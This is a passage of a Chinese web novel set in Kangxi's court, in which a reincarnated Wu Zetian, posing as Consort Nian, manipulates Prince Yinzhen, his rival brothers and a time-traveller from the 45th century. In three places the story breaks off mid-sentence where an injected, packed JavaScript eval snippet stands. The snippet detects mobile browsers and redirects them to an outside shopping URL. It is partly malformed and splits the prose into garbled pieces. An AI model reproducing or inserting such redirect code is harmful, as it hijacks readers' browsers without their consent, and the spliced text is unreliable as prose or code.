“儿子谨遵皇阿玛教诲!” 诸位阿哥们一起下跪聆听训斥。 康熙挥手,示意他们可以退下去了。 “嗻——” …… 皇子们陆续走出养心殿,随即按照各自的人际关系分成三五个小群体。 “皇阿玛方才那段话是什么意思?要多生聪明健康的皇孙,不要贪多嚼不烂?难不成——” 说到这里,有皇子忍不住偷瞄太子胤礽。 本就感到尴尬的胤礽觉察到注视,单手握拳,快步离开。 胤礽走后,阿哥们继续危险的讨论。 “皇阿玛一向高瞻远瞩,自然不可能说没有深意的话语,大清江山不只是传给皇子,还要传皇孙,自然得把皇孙也相看好。” “也是……只是如此一来……” “别瞎想!” 47.各怀鬼胎的兄弟们 但不论阿哥们怎么努力把皇阿玛的发言朝着对太子有利的方向思考,得出的结论都惊人地一致。 皇阿玛有意二废太子! 另选自身能力优秀且下一代也出类拔萃的皇子为大清储君! 并且,老四胤禛是皇阿玛心仪的人选之一,但胤禛的儿子弘时能力平庸,不值一提,弘昼也才刚出生,无法判定未来前途,所以皇阿玛才会额外问胤禛的后院有没有人又怀上孩子! “倘若四哥家中出一个出色的皇孙,皇阿玛说不定真的有可能……” 念及此处,除胤禛以外对皇位有所期待的阿哥们全都面色大变,彼此拱手告辞,快步离开。 胤禛这边—— 他本就心思缜密,何况皇阿玛今日问话突如其来中透着别样的关切。 “看样子,皇阿玛对我……” 胤禛捏琉璃串的手指骤然停住。 苏培盛见状,低声问道:“主子莫非是觉得——” “不好说,但是皇阿玛……皇阿玛显然也对年氏的肚子有所期待……” 喃语间,胤禛登上马车,低念佛经,压下焦躁的心绪。 …… …… 十四阿哥胤禵和四阿哥胤禛是同父同母的兄弟,但因为个人喜好,他更喜欢亲近同父异母的八哥胤禩、九哥胤禟。 此次觐见皇阿玛出宫,始终对皇阿玛单独询问四哥的行为耿耿于怀的他来到九哥胤禟处,毫不意外地见到了同样满腹疑窦的老八胤禩。 “八哥,你怎么——” “心里有些事,想找人商量一下。” 胤禩自顾自坐下,让胤禵也不要拘谨。 胤禵点头,和两位同父异母的兄长同桌而坐,奴才们献上奶茶、各种花样的糕饼点心、从南方运来的错季水果。 “都下去吧!” 胤禟开头,屏退左右,随后一边亲自给老八胤禩、十四胤禵倒茶,一边嘟囔道:“今日在养心殿的事情着实透着古怪,皇阿玛心里到底在想些什么?难不成——” “你猜得很对,皇阿玛确实已经不喜欢二哥了。” 胤禩捏起一块做成莲花形状的酥饼,淡淡道:“还记得皇阿玛下诏让满朝文武推举太子那件事情吗?因为满汉官员都推举我做太子,皇阿玛恼羞成怒,竟然出尔反尔地否定了官员推举强行重立二哥为太子……” “八哥的意思是——” “皇阿玛之所以出尔反尔再次立二哥为太子纯粹是他不想立我为太子,又选不出比我更合适的储君人选,只能将二哥再次拉出来堵住悠悠之口……此后几年,他不断地抬举其他皇子,打压和我有关的所有人……然而,不管他怎么打压怎么扶持,我始终是诸阿哥中最优秀最得人心的那个!任谁也无法改变!” 说到这里,胤禩露出自信的笑容:“今日之事,其实也有冲我来的意思。” “八哥此话怎讲?” 胤禵一脸困惑。 胤禩道:“皇阿玛是为了打压我才二立太子,但他毕竟是执掌江山五十多年的大清皇帝,再怎么感情用事也知道二哥没有担起大清江山的能力,他只是不愿立我为太子,所以才故意当众询问各家儿孙情况。” 众所周知,胤禩子嗣艰难,嫡福晋至今不曾生育,膝下仅有侧室所生庶出子弘旺,同样子嗣艰难的胤禛虽然迄今为止膝下只有两儿两女,但雍亲王府后院生下的孩子可不止四个,只是大半都夭折了。 “所以,依八哥之见,皇阿玛此次询问各家儿女情况,其实也是——” 胤禵神情若有所思。 胤禟瞬间看穿胤禵心思,笑道:“皇阿玛高瞻远瞩,自然是要太子和太孙一起选,十四弟不用多想。” “那八哥怎么办?皇阿玛如此……” “皇阿玛恨我至此,我又能如何?” 胤禩叹了口气,对胤禟、胤禵道:“或许皇位真是我在奢望。” “八哥——” 胤禵眼神闪烁地看着胤禩。 胤禟也看着胤禩,神情微妙。 胤禩看出两人心思,笑道:“事到如今,我已大彻大悟,皇阿玛绝无可能传位给我,我又何必强行争取,做个不忠不孝之人?反倒是你,十四弟——你有没有想过成为储君继承大清江山?” “八哥,你……” 胤禵闻言又惊又喜,不知如何回答。 胤禟见状,起身走到胤禵身后,轻拍胤禵的肩膀:“我们三个人中,我素来不得皇阿玛喜欢,八哥因为满汉群臣推举太子一事狠狠得罪了皇阿玛,唯独你……至今仍是皇阿玛喜欢的儿子,既然如此,我们何不通力合作,将你送上太子宝座?” “八哥、九哥,我……我……” 胤禵受宠若惊,满面红晕。 胤禩趁热打铁道:“十四弟不必推辞,以我之见,太子之位已经非你莫属。” “啊?八哥,此话怎讲?” 胤禵像脱水的鱼一样贪婪地看着胤禩。 胤禩见他如此贪婪急切,心中又气又恨,面上却还努力保持着温和贤德:“皇阿玛虽然有众多儿子,其中有能力成为太子的却寥寥无几,除去如今贵为太子其实危如累卵、随时可能被废的二哥,余下的不过是三人,你,我,老四。” “嗯嗯。” 胤禵连声附和。 “其中老四虽能力卓越,但皇阿玛只把他当成一把趁手的快刀,总派他处理棘手的事情,累积至今,四哥已把朝野内外能得罪的全部得罪。除非天降神迹,否则他注定这辈子只是个得力的亲王,不可能登基成为皇帝。” “至于我……我的情况,满朝文武都看在眼里……皇阿玛为了打压我甚至不惜违背君无戏言的定论做下出尔反尔之事,又怎么可能让我做太子?” “那十三哥呢?十三哥是什么情况?记忆里十三哥非常受宠,总是跟在皇阿玛和太子身后,为何八哥历数有可能继承大统的皇子时闭口不提十三哥?这其中有何渊源?” “十三弟确实曾经非常受宠,但也正因为他曾经受宠,总跟在皇阿玛和二哥身后,如今却……我才确定皇阿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13318297|135102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 玛是为了打压我才将二哥复立为太子!如果皇阿玛有心让二哥继承皇位,二哥被复立为太子后,十三弟的境遇就不会如此悲惨!一个至今被皇阿玛恨屋及乌的人,怎么可能成为太子?” “原来……十三哥……十三哥……” 胤禵心头一阵发凉。 “皇阿玛总对我们说一家兄弟不分彼此,然而皇家哪可能有正常的兄弟情!哪怕你放弃争夺,依然免不得要被兄弟算计被逼着下跪……这就是皇家,至亲至疏至无情的皇家。” 胤禩苦笑地说着,眼神温情中略带几分嘲讽:“十四弟,听完我的分析,你还觉得你没有希望成为储君吗?” “我——” “你的额涅是后宫地位最高的四妃之一,你的年纪是最为英姿勃发的二十多岁,唯二可能和你竞争皇位的四哥和八哥又都绝不可能和你为敌。” 胤禟站在胤禵身后,深情蛊惑胤禵。 胤禵本就对皇位有所觊觎,听过胤禩和胤禟两人的分析后更是信心满满,眼中不由自主地流出对权力的渴望:“我真的可能……可以……” “当然可以。” 胤禟进一步蛊惑胤禵:“八哥已经准备放弃,但八哥并没有完全放弃,我也如此,我们将倾尽我们的一切让十四弟登上储君之位,将来继承大统。这也是你四哥的想法。” “四哥——” “老四和我从小在景仁宫一起长大,出宫分府时又被皇阿玛刻意安排成毗邻而居,我们两个不是同父同母胜过同父同母,他又和你真是同父同母……在这种情况下,他绝不可能反对得到我的全力支持的你争取太子之位。” 胤禩笑容可掬地引诱着胤禵。 胤禵被两人的迷汤弄得神魂颠倒,眼前甚至出现了幻象: 金碧辉煌的大殿,他端坐在正大光明的牌匾下,满朝文武在身穿亲王服的四哥、八哥的带领下向他行三拜九叩大礼,山呼万岁! “……我……我或许……八哥,倘若我有朝一日得登大宝之位,我一定封你为铁帽子王爷,给良妃娘娘追封皇贵妃!如此一来,德妃额涅也会感到欣慰,夸我是孝顺儿子。” “十四弟有心了。” 胤禩皮笑肉不笑地说着,握住胤禵双手:“大清江山的未来现在就握在我们手中,绝不容半点疏忽!” “弟弟明白!弟弟一定唯八哥、九哥马首是瞻。” 胤禵满口承诺着。 此刻的三人可谓踌躇满志,却不知道在他们臆想中必定会全盘支持他们的第四人一直都有自己的想法! 从始至终,胤禛就没想过协助老八或是十四成为太子乃至皇帝! 他只计划让自己成为皇帝。 …… …… 从九贝子府出来后,胤禵没有急着回去,他穿过街道,来到雍亲王府。 “四哥!四哥!” “哟!十四爷突然来访,可是有要紧事情?” 闻讯赶来接待的李卫满面笑容地为胤禵引路:“奴才先带您去书房——” 48.废物 “先带我去书房?” 胤禵皱眉:“四哥在外面没回来?” “四爷正在禅房听大僧讲经领悟佛法。” “所以——” “还请十四爷多多包涵。” 李卫一脸讨好。 胤禵见此人笑容谄媚好似无赖,只觉多看一眼都觉得恶心,却不知李卫出身锦衣卫世家,办事能力在整个雍亲王府都数一数二,是不折不扣的雍亲王心腹。 …… 胤禵来访的消息很快传到后院。 嫡福晋放下抄到一半的《金刚经》,看了眼悬空的天幕,唇角绽出自信笑容:“可有人通知四爷?” “回主子的话,李卫正在书房接待十四爷,爷那边也已经派人通知了。” “既然如此,那我就——” 说到这里,乌拉那拉氏顿了一顿,补充道:“去年氏处,将此事告诉她。” “主子,这又是为何?” 一旁嬷嬷不解,诧异询问。 嫡福晋道:“年氏才貌双全,若是能生下男孩,将来必定会接替我掌管王府后院,做王府的女主人。所以,从今往后,不仅后院的事情,你们要事无巨细地全部告诉她,前院接待的事情,也需要像向我禀告那般一件不落地向她禀告。” “嗻。” 嬷嬷领命,躬身退下, 乌拉那拉氏抬头,继续看天幕。 【康熙五十一年五月十三日,宗人府等衙门遵旨将步军统领托合齐,尚书齐世武、耿额等结党会饮一案审结,查明此等事俱与胤礽有关,后托合齐、齐世武、耿额俱处死,轰轰烈烈的二废太子从此揭开帷幕……】 …… “——十四爷来访?” 虽然早从凤龙处得知胤禵来访,但当嫡福晋身边的嬷嬷出现面前并禀告十四爷来访一事时,武曌还是很配合地露出惊讶表情,受宠若惊地问道:“姐姐为何派嬷嬷来将此事——” “嫡福晋说,侧福晋才貌双全,将来不仅要协助嫡福晋打理后院大小事务,前院的人情接待也少不得您多多费心,让我们从现在开始要像恭敬嫡福晋一样恭敬您,府里大大小小的事情全都向您禀告。” “姐姐对我可谓恩重如山。” 武曌假装感动,随即询问胤禵来雍亲王府的具体情况。 得知十四爷现正在书房等候而四爷尚未结束禅定时,她看向偏房方向。 大格格赛宝和三阿哥弘时此时都在偏房内跟随穆景远学习西洋算术。 ——虽然胤禛通过李卫早已查到穆景远背叛雍亲王府,但穆景远如今毕竟已经攀上康熙的高枝,以胤禛的城府断不可能和他撕破脸。因此,穆景远回到雍亲王府后,胤禛竟假装什么都不知道,继续让他担任弘时的西洋学老师,还让赛宝跟着一起学。 思量片刻,武曌柔声道:“三阿哥是雍亲王府的长子,既然四爷无法及时接待来访的十四爷,或许可以——” “可是三阿哥才九岁?九岁的孩子接待……万一十四爷不满意或是……” “这也是我担心的。” 武曌蹙眉,似有万千愁绪。 奴婢们见状,无不心中夸赞侧福晋温柔大度,即便有了自己的孩子,对别人的孩子依然如此关怀备至。 唯独知道真相的凤龙见此情景,笑得前俯后仰。 【你们……你们要是知道姐姐的真实身份,还会觉得她是个很大度、对其他人的孩子都能视如己出的人吗?】 [可惜她们永远不会有机会知道,而我——只要弘时不做我的敌人,我并不介意大权在握以后从指缝里漏出好处给他,毕竟皇帝自称孤家寡人但不可能真是个孤家寡人。] 【有道理!有道理!】 凤龙连连称是。 此时,赛宝和弘时都在嬷嬷引导下来到年世华面前:“庶母——” “十四爷此刻正在王府书房等你们阿玛,但是爷——” 武曌露出忧愁神色。 弘时闻言,自告奋勇道:“儿子愿意前往接待十四叔!” “不会觉得勉强吗?” 武曌欲擒故纵。 弘时道:“我是阿玛的长子,本就有义务为阿玛分忧,何况来者是十四叔。十四叔平日里就和我多有接触,如今也只是……只是……” “平日里多有接触?” “嗯,我去八叔那边,十次有九次会遇上十四叔。” 毫无警觉的弘时大大咧咧地说道。 “原来……” 武曌心下了然,笑容可掬地让人带自告奋勇的弘时去书房接待来访的十四爷胤禵。 半个时辰后,结束参禅的胤禛也捏着念珠进入书房。 …… …… 胤禵离开雍亲王府时,天已经完全暗下来。 胤禛强挤出笑容送走胤禵,随即走进年氏的房间,面色无比凝重。 “爷,发生什么事情?怎么——” 武曌故作迟钝。 “没什么事,只是——” 话音未落,就听“嘭嘭”连声,檀木桌上的杯盏被愤怒的胤禛尽数扫下! “十四他太不知好歹了!” “爷,您这是……” “你知道他这次来是为什么吗?” 胤禛绷着脸,愤怒地看着被吓坏的年氏。 “不……不知道……” 女人配合地做出花容惨白的可怜神色。 “他说如果皇阿玛二废太子,诸皇子中,他最有可能成为太子,希望我这个同父同母的兄长能够支持他、辅佐他,并且说老八和老九都已经表明态度,会全力助他成为大清储君!” 说到此处,胤禛脸上凶相毕露。 “这……” 武曌惊呆。 虽然早通过四福晋的天幕知道十四阿哥胤禵不是成大事的材料,但她也万万没想到胤禵竟如此废物! 康熙还没有正式二废太子就迫不及待地拉党结派,并一脸得意地跑到老四面前炫耀此事,认定与自己同父同母的胤禛会全力支持自己成为太子! “你也很惊讶对不对?” “确实有点……十四阿哥这也……皇上的心思岂是寻常人可以揣摩?更何况太 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13336384|135102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子废立是涉及国本的大事!” “亏他还有最后一点脑子,知道来我府上和我说这些事,不用担心被外人听到传扬出去……呵!呵!” 胤禛露出恨铁不成钢的神情:“他怎么能做事如此傲慢自以为是!” “十四爷到底年轻,难免想法简单行为冲动。” 武曌故意为胤禵说话,因为她知道,胤禛嘴上再怎么讨厌胤禵心里依旧把胤禵当至亲兄弟,不容他人随意攻击污蔑:“……何况十四爷才定下成大事的计划立刻将此事告诉四爷,可见在十四爷心里,四爷也是最重要的人。” “最重要的人吗?但是他在将此事告诉我之前,已经先争取了老八、老九的支持!” 胤禛怒气冲冲地说道:“我是他同父同母的哥哥,却必须等到他和老八、老九商议结束才知道这件事!他心里真把我当成他的至亲吗!” “爷……您先息怒,听奴才几句话……” “说——” “十四爷心里肯定把您当至亲,之所以会出现先和八爷、九爷商议然后把这件事告诉爷这等奇怪事,奴才以为,整件事应当是八爷、九爷先向十四爷提议推举他做太子,十四爷听过觉得此事可行又怕得不到亲哥哥的支持,所以将此事告诉爷的时候故意说他已得到八爷、九爷的鼎力支持,希望爷也能帮助他。” “……听着确实有几分道理,也像十四会做的事情。” 听过年世华的“解释”,胤禛神色渐渐缓和,唇角甚至泛起笑容:“是我低估了老八和老九,尤其是老九成天阴魂不散又心机颇深……简直是爱新觉罗家的耻辱!可惜他终究是我的手足兄弟,即便我恨他憎他恶他,也不能在皇阿玛面前过度揭穿他……伤了兄弟间的和气……” “爷不必为此过分忧愁,天命自有定数。” “天命自有定数!说得对!天命自有定数!他这样成天阴魂不散地算计别人,迟早被天道报应!” 胤禛冰冷无情地说着,突然将目光落在年世华的小腹处,眼睛闪闪发光:“难以想象,你居然入府仅仅一年就有了我的孩子……” “爷的天命在此,奴才不过是顺应天意。” “天意……如果这一胎生下的是男孩,那确实就是天意……” 胤禛难掩兴奋地说道。 他想起皇阿玛在养心殿内对他们兄弟所有人说的那些话,更想起皇阿玛对年氏未出生的孩子的额外关心。 如果—— [如果年氏能够生下男婴,皇阿玛一定会更加欣赏我,认为我是仅次于二哥的适合皇位之人!毕竟,皇阿玛绝不可能把皇位传给老八或是老九,十四原本有希望和我竞争,但今日的事情让我确定他的能力和城府都不过如此!一旦皇阿玛知道他和老八、老九有暗中勾连,他必将离皇位越来越远。] [不愧是九龙夺嫡的最终胜利者,对同父异母的兄弟从不因为旧情就心慈手软,对唯一的同父同母的兄弟也不吝算计,可惜……] 螳螂捕蝉,黄雀在后。 武曌微笑着,摸了摸还不明显的小腹:“奴才昨夜做梦,梦见金龙冲入体内。” 49.男人的感情 “金龙入体?” 胤禛的声音微微颤抖。 他怎么可能不知道这句话的分量和意味。 年世华的这一胎很可能怀的是男孩,并且是个前途无限光明的男孩,能够让他这个父亲也享受到无上的荣光! 此刻再回想皇阿玛的问话,胤禛心中越发斗志昂扬。 “高僧说过,雍亲王府的上空有龙形云象,我原以为会应在钮祜禄氏或是耿佳氏的孩子身上,没想到最终竟是应在了你身上。” “奴才也希望自己能如梦中启示早日为爷生下一名小阿哥。” 武曌故作谦虚地说道。 有凤龙将爱新觉罗弘历变成爱新觉罗宝珠的逆天能力,她根本不必担心肚子里的孩子是男是女——就算怀的是女孩,生下来也必定是男孩。 随后,武曌主动提及伊格格。 “镶白旗那边前些日子给府里送了一批年轻女子,姐姐精挑细选后留下两人,其中一人乃是康熙四十五年皇太后赐给爷的镶白旗佐领监生常安之女的堂亲,爷若还念着旧情,不妨多去伊格格处坐坐?” “伊格格?” “姐姐说她出生镶白旗满军旗,堂姐又承蒙皇太后喜爱亲自下旨赐给爷,不能寻常对待,所以一入府就给了格格的名分。” “她的堂姐是皇太后指赐之人,确实不该怠慢。” 胤禛深以为然,并决定明日去伊格格处小坐。 内心深处,他也不免对年世华的大度感到满意。 [乌拉那拉氏是我明媒正娶的嫡福晋,本就该有这份见识和心胸,倒是这年氏……才多大年纪竟也能戒骄戒躁,颇有当家主母的风范,可见年家父母确实擅长教育子女,家中儿女个个都是人中龙凤,即便是年羹尧这等恃才傲物之人也能看清形势后立刻向我跪拜投诚。] [……男人总把妻妾和谐当成人间美事,却不知道女人们若是真的完全舍弃对丈夫的独占欲、与其他女子和谐相处,那她们对这个男人的感情——如果有的话——也必定不是爱,而是另外一些东西。] 觉察到胤禛心思的武曌冷飕飕地想着。 【爱的本质是独占欲?】 凤龙兴致勃勃地问道。 武曌坦然回答—— [至少真爱之物是不会毫无芥蒂地和人分享的,哪怕那个人是自己的至亲兄妹。] 【你想到了韩国夫人和魏国夫人?】 韩国夫人武顺,女皇武曌同父同母的姐姐,初嫁贺兰越石,育有一子贺兰敏之,一女贺兰氏,受封“韩国夫人”。贺兰越石死后,武顺出入宫禁,与唐高宗李治私通,不久染病去世,追封为郑国夫人。 其女贺兰氏亦被高宗宠幸,封为魏国夫人,乾封元年(666年),参加唐高宗封禅泰山后,突然去世,旧唐书记载“武则天密令人以毒药贮贺兰氏食中,贺兰氏食之,暴卒,归罪于武惟良、武怀运”,武惟良和武怀运被处死后,妻女没入宫中为奴。 [杀她们不仅仅因为她们抢我的人,更因为她们试图通过对高宗进谗言动摇我的地位,如果她们能安于现状只做他的女人,偌大的皇宫又怎么可能容不得两个贪图富贵荣华的庸俗女人?] 【明白了……】 凤龙似懂非懂地连连点头。 武曌则连哄带骗地将胤禛扶上床,给他喂安神的汤药,助他尽快睡着。 …… …… 第二天傍晚时分,胤禛如昨日所言来到伊格格处。 灵魂来自四十五世纪的伊格格听到通传大惊,按照嬷嬷们的教导手脚僵硬地给胤禛行礼,心不甘情不愿地喊道:“奴才给爷请安。” “看你这模样,显然还不熟悉府里的规矩。” 满人有姑奶奶传统,女子未出阁前通常不需要学习操持家务,宠溺女儿的家庭甚至舍不得让女儿学规矩。 因此,出身满军旗的伊格格行礼姿势僵硬怠慢,胤禛却没有生疑,只当是娘家骄纵女儿,没有规矩教养,叹道:“满人入关这么多年,姑奶奶倒是还留着关外的风气,爷们却是十个有九个学会了遛鸟斗狗。” “爷,奴才——” “我没有怪你的意思,只是一时有感。” 胤禛抬手,接过奴婢递来的茶水,喝过一口,只觉苦涩滚烫难以下咽:“怎么泡茶!” “奴才——” “以前你在娘家是姑奶奶,可以什么都不学什么都不懂,如今入了后院,怎么还这般娇纵无礼,莫说是常安家的颜面便是镶白旗满军旗的颜面也都让你丢光了!” 胤禛厉声呵斥。 伊格格惊得目瞪口呆。 她知道十八世纪是封建等级社会,社会上普遍存在特权阶级剥削底层普通人的现象,但她没想到剥削竟是如此的无处不在,并且剥削者对被剥削者的态度竟然如此傲慢! 一杯茶不趁口便勃然大怒,四周的奴婢们还个个跪地上泪眼婆娑地哀求饶恕! 这不公平! 这种事情—— 来自基本消除贫富差距和阶级等级的四十五世纪的伊格格内心深处涌起强烈的愤怒,恨不得对跪地的奴婢们大喊“站起来!不许跪!”,再指着鼻孔说话的胤禛大骂“去死吧!你这个吸血鬼!寄生虫!腐朽反动的压迫者!人民当家作主的时代马上就要来临!”。 但她最终还是退缩了。 ——时空穿梭管理明文规定,意识传送回古代社会后,不仅不能改变历史,也不能做严重违背当时社会道德伦理准则的事情,如果违背,留在四十五世纪的身体将可能遭遇抹杀,她的意识将永远困在这个贫穷原始落后的古代世界! 她不要留在这里,这里的一切都让她感到恶心不适。 她希望尽快完成论文,回到舒适文明安逸的四十五世纪。 想到此处,伊格格挤出笑容:“爷教训的是,是奴才蠢笨,在娘家没有好好学规矩,还请爷……不要过分责备……” “也算孺子可教。” 胤禛冷飕飕地哼了一句,随即提点道:“年氏对你评价很高,你以后跟在她身后多多学 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13352716|135102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 习。” “奴才一切听从爷的安排。” 灵魂来自四十五世纪的伊格格捏着鼻子给古代封建王爷装贤妻良母。 胤禛本就觉得伊格格相貌平平提不起兴趣,见此女连基本的王府规矩都做不好,不免更生厌恶,说了几句场面话就转身离开了。 伊格格见胤禛对自己毫无兴趣,心里既开心又不爽——开心是因为胤禛对自己毫无兴趣,她在这个世界不必受原始的生育之痛,不爽则是没想到来自四十五世纪的自己竟被十八世纪的封建剥削者鄙视,并且这种鄙视有一定可能影响毕业论文的完成。 论文…… 论文! 想到论文无法通过答辩的悲惨未来,伊格格顿时急得抓耳挠腮:难不成我真要为了完成论文按十八世纪的传统把自己暂时规(洗)训(脑)成一个对男人言听计从、完全没有自我和脾气的木偶? 那场面,想想都恶心! …… …… 【姐姐,我收到了来自伊格格的强烈情绪波动,来自四十五世纪的她似乎对当前世界充满愤怒却因为一些原因不得不忍受。】 [哦?] 武曌微笑,放下看到一半的《资治通鉴》。 [她来这里究竟是为什么?既然完全不喜欢当前世界,又有办法离开,为何——] 【为了完成一个名叫论文的东西。】 凤龙学人类女子趴着桌面做双手托腮,漂亮的面容挂满纯真的好奇。 【比起被永远留在她眼中落后野蛮的十八世纪,她似乎更害怕论文不能按时完成,以至于准备按照当前世界的风俗把自己暂时规训成一个对男人言听计从的标准女人。】 [按照当前风俗……听这意思,她所在的四十五世纪的女性……完全不需要顺从男人?] 武曌挑眉。 她本就因为自身的经历对四十五世纪的种种有所期待,得知未来世界的男女关系和当前世界完全不同、甚至可能比前世的大唐更加自由自主后,心中的期待也越发的强烈了。 [可惜你还是个没长大的孩子,无法读取她的灵魂,获得她的记忆……我更是……如果我……如果我能像看天幕的历史直播那样看她的记忆……看她记忆中的四十五世纪该多好……两千七百年多年后的世界……一定是个充满了超乎想象的东西的世界……] 【抱歉,我还是太年幼了。】 凤龙抬头,迷恋地看着武曌因无法看到四十五世纪的未来而流露出饥渴目光的眼睛。 【姐姐,你想知道我总是盯着你看的原因吗?】 [你喜欢我?] 【嗯,我喜欢你,喜欢你永不枯竭的求知欲,永不言败的斗志,以及,仿佛永远都用不完的精力……凤龙本质是生命的聚合,所以凤龙会被气运吸引,也喜欢强烈的生命力……】 [我在你眼里原来是这样的存在——] 【是的,在我眼中,你一直都闪闪发光。】 凤龙微笑着,金色眼瞳流出脉脉温情。 50.女德?奴隶? 顺应雍亲王的命令,加上自身的好奇心,第二天大清早,伊格格就来到年氏处,向侧福晋行礼请安。 “格格伊氏给侧福晋请安。” 因为始终无法习惯封建王朝的不把人当人,此次见面,伊格格依然行礼动作僵硬得好像后背插着铁板。 陪同的嬷嬷见状,不由心凉半截。 [完了完了!主子前两次拜见福晋、侧福晋的时候还能借口刚入王府不熟规矩,如今都已经……何况昨天才刚刚……虽说侧福晋是出了名的温柔和蔼,也不可能一直都……每次都……] 将嬷嬷的心声收入耳中,武曌不动声色地看着意识到做错礼节因而露出惶恐尴尬神情的伊格格,眼神格外温柔:“妹妹在府里可还适应?” “我……” “府里不比家中,确实有很多规矩,尤其是在外人面前。好在这里是自家后院,不必拘谨,姐妹相称即可。” “姐妹——” “是的,姐妹相称。” 武曌笑容可掬,示意伊格格坐到身旁,白皙纤长的手搭在伊格格的手背上:“大家族的尊卑长幼规矩固然要遵守,可人与人之间倘若只讲规矩不讲其他,未免太过严肃刻意,失了温情。人心都是肉长的,人心不可能只有规矩没有感情。” “人心都是肉长的……人心……” “我对你一见如故,瞧见你仿佛瞧见了自家姐妹。” 武曌轻抚伊格格的手,温情脉脉:“你愿意从此喊我一声姐姐吗?” “姐……姐……” 伊格格张嘴,从牙齿缝里挤出生硬的音符,内心泛起波涛。 [虽然在我的时代人人平等是普遍常识,但现在可是十八世纪,人与人不平等、天生分贵贱高低才是常识的十八世纪!她居然能对我说出要和我做平等的姐妹这种思想超越了时代的话语……果然,哪怕是等级压迫最森严的时代,也不是每个人都发自内心地认同等级制度和尊卑贵贱。唯一可惜的是,她生错了时代,她应该生在四十五世纪而不是……] “我不知道外面的人会怎么想想王府后院的女人间的关系。或许他们会觉得嫡福晋和侧福晋之间存在不可逾越的鸿沟,格格和使女又存在天差地别,由此臆想出妻子发卖妾室、得宠的小妾杖毙勾搭爷儿们的狐媚丫鬟的故事。” 说到这里,武曌故意顿了一下,如愿在伊格格脸上和思维中获取“你说得好准确,我确实看过这类故事”的信息。 “——事实上,不管女人在男人的后院拥有什么样的身份地位,她们在男人心中都只是个女人。一个合格的女人首先要能为男人生儿育女、持家理财,让男人没有后顾之忧,其次要在男人心情烦躁不快的时候做他的解语花,消解他的不快,安抚他的心情……” [收回前言!这TMD也太女德了!真给男人当奴隶啊!] 被年世华的女性观点惊得目瞪口呆的伊格格烦躁地想着。 [敢情她说她要和我做姐妹不是因为她的思想超越时代有了人人平等的认知,是她从小接受女德教育,发自内心地觉得女人和女人都要平等地给男人做奴隶!天啊!这么美丽温柔的女人居然说出这么恐怖的话语!封建王朝不愧是人吃人的时代!] 但即便内心深处疯狂反对此类规训女性观点,身为王府格格的伊氏依然必须在年世华面前做出驯良赞同的模样:“姐姐说得极是,我一定时时来姐姐这边接受姐姐的教诲。” [但凡听进去一句都算我输!] 伊格格在心中补充道。 武曌听到她的心声,确信眼前这个来自四十五世纪的灵魂对十八世纪的当下存有强烈到无法隐藏的厌恶并且不愿被这个世界改变一丝一毫,笑道:“妹妹言重了,我不是圣人,不可能说的每句话都是正确的。妹妹若是觉得我的话有道理那就听下去,若是觉得没道理甚至言语间错误离谱,也大可以反驳我、打断我,说出你的真实想法。” “姐姐——” 伊格格哽住。 此时此刻,她有满腹的抱怨和反驳要对年世华说,想到对方是个活在十七、十八世纪的古代人,又顿时千头万绪不知从何说起。 “怎么?突然流眼泪?” 武曌温情脉脉地看着伊格格,假装对她此刻的心情一无所知。 “我……我……我在家里的时候,从来没有人对我说这些道理……姐姐是第一个教我做女人的道理的人……” 伊格格强忍内心不适,表达对年世华的“感谢”。 “你能认识到自己的短处、意识到他人的善意,必定很快就能改掉错误,成为我们的好姐妹。” “谢姐姐……姐姐教诲……” 伊格格感觉自己的灵魂都快扭曲了。 武曌看伊格格身上都已经冒出黑色烟雾却还努力装成谦虚好学的少女,忍不住取笑道:“妹妹开心就好。” 此时,赛宝也来到两人面前,向两人问安。 伊格格赶紧回礼。 赛宝不由脸颊微微泛红,小声道:“我们年龄相差无几,不必要……这样……” “在外人面前,我们是庶母和女儿,但在院子里,我们大可以同辈交往。” 武曌招呼赛宝过来,也坐在自己身边。 赛宝看着新入府的伊格格,眼神既有好奇又有期待:“我……我们可以……” “当然可以。” 说完,武曌看了眼伊格格。 伊格格干笑道:“我只是受宠若惊竟然能和大格格姐妹相称。” “外面的人怎么想是外面的人的事情,在院子里,我们就是姐妹,真正的姐妹!” 赛宝一脸真诚地许诺着。 她从小就希望有年龄相近的兄弟姐妹,无奈雍亲王府子嗣艰难,赛宝等了这么多年才等到三个兄弟姐妹,其中年纪最大的弟弟小自己八岁,新添的两个更是—— 因此,虽然李佳氏颇有微词,但赛宝初见年氏时便觉这位庶母格外可亲,仿佛前世在哪里见过,后得知年氏不仅才貌双全,脾性还温婉可亲,心中竟越发地喜欢,如今 